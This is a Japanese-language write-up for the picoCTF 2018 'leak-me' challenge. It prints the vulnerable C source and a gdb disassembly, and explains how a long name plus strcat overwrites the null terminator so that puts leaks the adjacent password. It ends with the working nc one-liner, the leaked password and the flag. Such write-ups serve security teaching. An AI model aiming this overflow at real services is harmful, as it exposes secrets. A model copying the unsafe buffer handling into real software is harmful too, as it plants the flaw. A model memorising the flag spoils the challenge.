picoCTF 2018: leak-me
問題
問題文
Can you authenticate to this service and get the flag? Connect with nc 2018shell2.picoctf.com 23685. Source.
Hints:
Are all the system calls being used safely?
Some people can have reallllllly long names you know..
問題概要
脆弱性のあるプログラムおよびそのソースコードとそのプログラムが動いているサーバーへの接続先が与えられる.
解答例
指針
- strcat を使っているので buffer over flow による終端文字の上書きができる
解説
与えられたソースコードは以下の通りである.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> int flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); printf("%s", flag); return 0; } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); // real pw: FILE *file; char password[64]; char name[256]; char password_input[64]; memset(password, 0, sizeof(password)); memset(name, 0, sizeof(name)); memset(password_input, 0, sizeof(password_input)); printf("What is your name?\n"); fgets(name, sizeof(name), stdin); char *end = strchr(name, '\n'); if (end != NULL) { *end = '\x00'; } strcat(name, ",\nPlease Enter the Password."); file = fopen("password.txt", "r"); if (file == NULL) { printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(password, sizeof(password), file); printf("Hello "); puts(name); fgets(password_input, sizeof(password_input), stdin); password_input[sizeof(password_input)] = '\x00'; if (!strcmp(password_input, password)) { flag(); } else { printf("Incorrect Password!\n"); } return 0; }
メモリ上において変数 password は 変数 name の直後に配置されている.
したがって, name に長い文字列が与えられた場合, strcat によって終端文字列が消され
puts(name);
としたとき, password の内容まで表示してしまう.
例えば A
を 250 個並べた文字列を入力に与えたとしよう.
このとき, fgets(name, sizeof(name), stdin);
により AAAA...AA
が name に格納される.
gdb を使って main() を逆アセンブルすることで, 変数の先頭アドレスが分かる.
$ gdb -q auth Reading symbols from auth...(no debugging symbols found)...done. (gdb) disas main Dump of assembler code for function main: 0x080486c8 <+0>: lea ecx,[esp+0x4] 0x080486cc <+4>: and esp,0xfffffff0 0x080486cf <+7>: push DWORD PTR [ecx-0x4] 0x080486d2 <+10>: push ebp 0x080486d3 <+11>: mov ebp,esp ... (snip) ... 0x08048714 <+76>: lea eax,[ebp-0x54] # 変数 password の先頭アドレス 0x08048717 <+79>: push eax 0x08048718 <+80>: call 0x8048530 <memset@plt> 0x0804871d <+85>: add esp,0x10 0x08048720 <+88>: sub esp,0x4 0x08048723 <+91>: push 0x100 0x08048728 <+96>: push 0x0 0x0804872a <+98>: lea eax,[ebp-0x154] # 変数 name の先頭アドレス 0x08048730 <+104>: push eax 0x08048731 <+105>: call 0x8048530 <memset@plt>
[ebp-0x54] が 変数 password の先頭アドレスで, [ebp-0x154] が変数 name の先頭アドレスである.
入力として "AAAAAA...A" を与えたときの Call Stack は下の図のようになっているはずである.
char *end = strchr(name, '\n'); if (end != NULL) { *end = '\x00'; }
によって, 文字列の末尾の改行コード \n
は終端文字に 0x0
に置き換わっている.
(lower address) [ebp-0x154] | 'A' | # top of name[] [ebp-0x153] | 'A' | [ebp-0x152] | 'A' | ... [ebp-0x05c] | 'A' | |ebp-0x05b] | 'A' | |ebp-0x05a] | 0x0 | ... [ebp-0x054] | 0x0 | # top of password[] [ebp-0x053] | 0x0 | [ebp-0x052] | 0x0 | (higher address)
ここで,
strcat(name, ",\nPlease Enter the Password.");
に対応するアセンブリ命令は
0x08048781 <+185>: lea eax,[ebp-0x154] 0x08048787 <+191>: push eax 0x08048788 <+192>: call 0x80484f0 <strchr@plt>
となるので, Call Stack は
(lower address) [ebp-0x154] | 'A' | # top of name[] [ebp-0x153] | 'A' | [ebp-0x152] | 'A' | ... [ebp-0x05c] | 'A' | [ebp-0x05b] | 'A' | [ebp-0x05a] | ',' | [ebp-0x059] |'\n' | [ebp-0x058] | 'P' | [ebp-0x057] | 'l' | [ebp-0x056] | 'e' | [ebp-0x055] | 'a' | [ebp-0x054] | 's' | # top of password[] [ebp-0x053] | 'e' | [ebp-0x052] | ' ' | ... [ebp-0x0??] | 0x0 | (higher address)
となり, password の部分まで上書きされる.
このあと, 以下の fgets() により password の部分に password.txt の中身が更に上書きされる.
fgets(password, sizeof(password), file);
ここで, puts(name); が呼ばれたとき, puts() は終端が現れるまで文字を表示するので, password の内容も表示されてしまう.
実際に A
が 250回繰り返される文字列を送ってみる.
$ python3 -c "print('A'*250)" | nc 2018shell2.picoctf.com 23685 What is your name? Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, Pleaa_reAllY_s3cuRe_p4s$word_a28d9d
先に述べた理論と一致した出力が得られた.
この出力により password が a_reAllY_s3cuRe_p4s$word_a28d9d
だと分かったので, それを入力すると flag が得られた.
$ nc 2018shell2.picoctf.com 23685 What is your name? kira Hello kira, Please Enter the Password. a_reAllY_s3cuRe_p4s$word_a28d9d picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_ee6111c9}
flag: picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_ee6111c9}